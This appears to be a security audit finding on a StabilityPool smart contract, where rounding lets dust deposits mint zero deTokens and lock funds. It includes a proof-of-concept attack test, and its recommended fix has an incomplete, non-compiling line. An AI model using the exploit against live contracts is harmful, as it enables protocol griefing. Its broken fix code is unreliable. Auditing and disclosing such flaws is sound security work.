Summary
The StabilityPool.sol
contract allows deposits of arbitrarily small amounts without enforcing minimum thresholds. Due to rounding in exchange rate calculations, this enables malicious users to perform dust deposits that result in zero deTokens being minted while the deposit is still recorded, leading to permanently locked funds.
Vulnerability Details
In the StabilityPool contract, the deposit function does not validate minimum deposit amounts:
function deposit(uint256 amount) external nonReentrant whenNotPaused validAmount(amount) {
_update();
rToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 deCRVUSDAmount = calculateDeCRVUSDAmount(amount);
deToken.mint(msg.sender, deCRVUSDAmount);
userDeposits[msg.sender] += amount;
_mintRAACRewards();
emit Deposit(msg.sender, amount, deCRVUSDAmount);
}
The critical issue lies in calculateDeCRVUSDAmount()
where tiny deposits result in zero deTokens due to division rounding:
function calculateDeCRVUSDAmount(uint256 rcrvUSDAmount) public view returns (uint256) {
uint256 scalingFactor = 10**(18 + deTokenDecimals - rTokenDecimals);
return (rcrvUSDAmount * scalingFactor) / getExchangeRate();
}
Impact
This vulnerability has critical implications for the protocol:
Permanent Fund Lock: Deposits become permanently locked as users have no deTokens to withdraw them
Protocol State Corruption: Creates accounting inconsistencies between deposits and minted tokens
DoS Vector: Can be used to create numerous "dust entries" that waste gas and storage
Economic Impact: While individual amounts may be small, accumulated locked funds could be significant
Likelihood & Impact Analysis
Likelihood: HIGH - Easy to execute with minimal requirements
Impact: MEDIUM - Individual impact limited by dust amounts, but can accumulate
Overall: MEDIUM
Proof of Concept
The following narrative demonstrates exploiting this vulnerability:
Alice is a malicious user who wants to cause trouble in the protocol
She notices there's no minimum deposit check in StabilityPool
She calculates the smallest amount that will result in zero deTokens
She executes multiple dust deposits creating locked funds and state bloat
This attack can be reproduced with the following test:
describe("Dust Deposit Attack", function() {
let stabilityPool, rToken, deToken;
let attacker;
const DUST_AMOUNT = 1;
beforeEach(async function() {
[attacker] = await ethers.getSigners();
});
it("Permanently locks funds through dust deposits", async function() {
console.log("\n--- Starting Dust Deposit Attack ---");
const initialBalance = await rToken.balanceOf(attacker.address);
console.log(`Initial rToken balance: ${initialBalance}`);
await stabilityPool.connect(attacker).deposit(DUST_AMOUNT);
console.log(`Deposited dust amount: ${DUST_AMOUNT} wei`);
const deTokenBalance = await deToken.balanceOf(attacker.address);
expect(deTokenBalance).to.equal(0);
console.log("deToken balance is zero as expected");
const recordedDeposit = await stabilityPool.userDeposits(attacker.address);
expect(recordedDeposit).to.equal(DUST_AMOUNT);
console.log("Deposit recorded in state");
await expect(
stabilityPool.connect(attacker).withdraw(DUST_AMOUNT)
).to.be.revertedWith("InsufficientBalance");
console.log("Withdrawal failed - funds locked!");
const finalBalance = await rToken.balanceOf(attacker.address);
expect(finalBalance).to.equal(initialBalance.sub(DUST_AMOUNT));
console.log("Funds confirmed locked in contract");
});
});
Tools Used
Recommendations
Implement minimum deposit amount:
contract StabilityPool {
uint256 public constant MIN_DEPOSIT = 1e6;
function deposit(uint256 amount) external {
require(amount >= MIN_DEPOSIT, "Deposit below minimum");
}
}
Add rounding checks:
function calculateDeCRVUSDAmount(uint256 rcrvUSDAmount) public view returns (uint256) {
uint256 deAmount =
require(deAmount > 0, "Amount too small");
return deAmount;
}